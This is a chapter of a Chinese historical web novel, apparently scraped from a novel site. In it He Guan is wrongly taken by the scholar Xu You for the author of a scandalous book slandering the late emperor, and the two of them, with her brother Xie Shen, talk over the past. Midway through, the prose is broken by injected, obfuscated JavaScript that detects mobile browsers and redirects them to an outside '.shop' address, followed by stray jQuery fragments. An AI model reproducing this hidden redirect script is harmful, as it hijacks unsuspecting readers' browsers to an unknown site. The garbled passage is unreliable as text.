《皇恩录》此书的两个版本，何观也是偶然扫过的，第一版的内容无非是自古以来的君臣相扶持的佳话，据传言是立朝之初某位被先帝选去讲学的大儒所编，目的是教先帝如何做好一个明君贤帝。


    但是自古以来，这种大儒高官搞的创作都不好署自己的名，当时《皇恩录》的作者也是，就写了个一笑生作笔名，且就这一本作品。而此书也因内容精简，颇有教育意义，成为了一时风靡的启蒙读物。但随着先帝学着诸位以前的开国皇帝一样开始杀功臣，这本意义为如何做明君贤帝的书籍也没了需求。


    直到，出来一个灯草一笑生，将《皇恩录》名字保留，内里的内容却大幅度删改！


    此人在序里言自己重病入了幻境，却由此窥破了皇家秘辛，称先帝并非天大将军所化，而是织女！只可恨投错了男身，但时不时会女儿心作祟。那序里还言先帝末年坑杀其余子嗣，只留太子也就是当今皇帝的原因，是因为太子是皇帝应天感孕亲自所生，为帝星转世。


    故这《皇恩录》也从一开始的教育读物，变成了先帝皇恩幸人实录，还按照先帝除功臣的顺序，结合民间传言，弄出来一话话单开都足以吸引人眼球的故事。


    在此书里，先帝作为天神转世的神通，竟然不以行军打仗、治国理政来体现，而是以男身化女，女身转男，感天受孕，吐哺三乳来体现。


    还不说其余更过分的内容，总之是给当时觉得好不容易在书舍里找到了一本正经书的何观很大的震撼。


    写的如此内容，这后面一版灯草一笑生所著的《皇恩录》无可非议的成为了天下第一奇书，至于为什么没有成为妖书，这就是耐人寻味之处了。


    也正是这一本直接谤议皇室的书还活的好好的，甚至风靡了全国，那些书生才争先恐后转而来写这世情小说。


    只是正常人再怎么写都知道这玩意上不得台面，不愿叫人知道自己写的是啥。


    怎么轮到我还能遇到完全不觉得写这东西有损身份，还怀疑别人也写的家伙啊。


    关键是怎么一怀疑就怀疑得最大的啊！


    何观咬牙切齿说：“莫要凭空污人！某如何能与那灯草一笑生扯上关系！”


    她抬腿又要走，那书生又追上，飞速说道：“晚辈知老师不好承应，确实世风如此，男子写如此作品尚且受非议，女子更是如此了，但那些市井小民之言不足为虑。晚辈知老师的真实用意！无非是给天下人做提醒！当初老师一次就看出我所写的是国本之事，如此敏锐的眼光和见识，也只有对世事洞如观火的老师你能做到了！”


    “都说了我不是你想的那个那个老师！”


    何观难受至极，幸好自己这些日子没有去问谢慎是不是在书舍中写那世情本子，这会自己无端被旁人怀疑是相关作品的写手，都能感觉到无比的膈应，若是换做亲近之人这么说，谢慎又该会有多伤心。


    但那书生仍旧不信，好似非要何观自证，何观被他越说越烦，本身心头就压着火，被这么纠缠语气不自觉就越来越不耐烦，开始抄起他们儒生最爱讲的仁义礼智信对书生进行“教导”，可越说那书生脸上又出现了钦佩的神色，这一下何观确定了此人大概脑子有问题。


    何观转身就往家走，那书生也跟着，后面竟然直接上来牵她的手！


    “你也算是读书人！这么多年的圣人教诲读狗肚子里去了吗！”


    气得何观破口大骂，她顺着力道转身，火气抑制不住，却见到一脸怔愣牵着她手的谢慎，不得不吞下更过分的脏话，出声喊道：“阿弟？”


    “阿姐…”


    “老师——老师！”


    情况好不尴尬。


    往昔日里忙起来各不相见，还有点惋惜关系生疏了。


    这会见了却还不如不见呢！


    胸前领口甩着几道墨迹的谢慎轻声问道：“阿姐今天怎么动如此火气？是先前在医馆中定的药出了差错吗？”


    “没有…不过阿弟你不是说最近在城东的玄台书舍里做事吗？怎么这会来城西了？”


    何观转移话题道，又注意到那书生对谢慎也是一脸崇敬的样子，继续反问道：“他、你，你们二人认识？”


    谢慎主动坦白道：“认识，这位是张尚书的门生徐佑，曾经在南都见过，现在他同我一样在玄台书舍里做事。”


    那叫徐佑的书生惶恐行了个礼，补充道：“原来还真是当年在南都见过的谢慎小老师！学生往日不敢上前认老师，想不到几年未见老师竟同以前大为不一样了！”


    得，原来还真是旧人。


    谢慎同那徐佑是旧识，按徐佑所说，当年在南都他还听过谢慎的一次讲学，当有师徒之谊，非要拉着谢慎和何观去用饭，那活泼的样子一点没有读书人的沉稳。


    谢慎不好推脱，就一脸犯难。


    何观当然是不愿意同这人去外面用饭的，毕竟两人认识的缘由不是好道，但都撞到这个份上了，这徐佑和谢慎现在还算同事，就算再不愿意也得为谢慎打算打算。


    最后三人是一起回了何观和谢慎的住处，路上买够肉菜和米酒，当作一次小聚了。


    于何观和谢慎而言，这徐佑都是补充对方在自己记忆里空缺时究竟在干什么的中间人，但两人的心态肯定天差地别。


    论及交情，徐佑较谢慎更为熟悉何观一些，加之他又固执地认为何观就是自己景仰已久的老师，所以一直在同何观搭话，何观则一直试图把徐佑口中的老师二字往谢慎那里引，谢慎又想在徐佑这里问清他同何观是如何认识的，下午自家平时冷静自持的阿姐怎么会无缘无故的发火。


    总之都是人人有问题，但句句没回应。


    最后这兜圈子的问话在玄台书舍上取得突破。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143271|194377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    徐佑看出来何观不想理自己，谢慎也看出何观不想说自己的事情，两个男人只能如刚才在外面那样再叙旧事，两人此前虽相逢但未曾相认，聊得最多的，自然还是南都里的故事。


    何观安静听着，仔细算来，南都的旧事也是五六年之前发生的了，当时的境遇和心情同现下的境遇和心情当然大不一样。那时的她固执地想要失魂之前的那个阿弟，对失魂后什么都不记得的谢慎，难说真如何上心，不然也不至于会在发现谢慎有些长偏了后还不教育了…但过往种种旧事，这会看来都是故事，当时那些懊恼失悔遗憾一类的情绪也再难体验，所以也不至于让自己陷在一时的情绪里，而错过两人聊天中的种种信息了。


    原来自古以来读书取仕的都是少数人，绝大多数读书人还是要另想办法谋生，不是继续奉献在读书事业里当夫子□□，就是受大姓大户们礼待在他们家里做事，而后者则谓之为山人。轮到今朝，因前二十多年在战乱，建国后十多年又在无为而治，科举断了几十年，让无数读书人无谋生之途，加之战乱瘟疫天灾，其中不少无家底的，都落了个出游无籍的下场，不仅得不到大姓大户的礼待，不少还落了贱籍，得依附大姓大户们才能生存，那山人的称呼也如衣冠禽兽一样，随着时代的变迁，全然改换了意思。


    如徐佑这样的人，便是山人中的一员，他曾受自己的解元同乡提携，一起在南都多个高官家里当门生混饭吃，也常去各种讲学上旁听，想在南都大人们那里混个眼熟。奈何自谢慎打了皇帝，也就是所谓的“天人显灵”一事后，朝堂上的京官们为党争打得死去活来，皇帝也下场搅浑水，搞的想在朝中做事的，非得出身“清白”，像他还有他那个一样习惯“东食西宿”的解元同乡自然早被踢出了南都政局，得过了殿试才能再继续这仕途游戏了。


    徐佑家境尚可，科举重开后已经连着应考，但直到去年才中了个秀才，他自觉已经对得起门楣，便不愿再考了，一心一意要凭自己的作品成为后人赞颂的大贤，但可恨世情小说这一类目里有《皇恩录》这样的开山之作，论文笔、情节、隐喻自己是挨个都比不过，便生了执念，非要见到此书作者与其长谈取经。


    聊到此处，何观便想出声转走话题，谢慎却敏锐问道：“《皇恩录》？我虽未曾读过，但也听过此书的传言，说是某位大人为庭上悼念何相公所作，若非要定个作者，该是相公那些被削籍的同乡们的可能性最大。”


    徐佑讪讪一笑，说出自己听到的传言，“是有这般传言，何相公出自江左，生前风光，死后却被抄家，连妻子、妾室的娘家也受牵连，算上后面清算牵连的各位同乡，人数又岂止百人…不过有说相公的妻子带着孤女回了原籍，还入了道门，那孤女自幼同何相公一起出入皇家，自然知道不少秘辛，也有才女之名，据传还被何相公的同僚资助了些产业，所以……”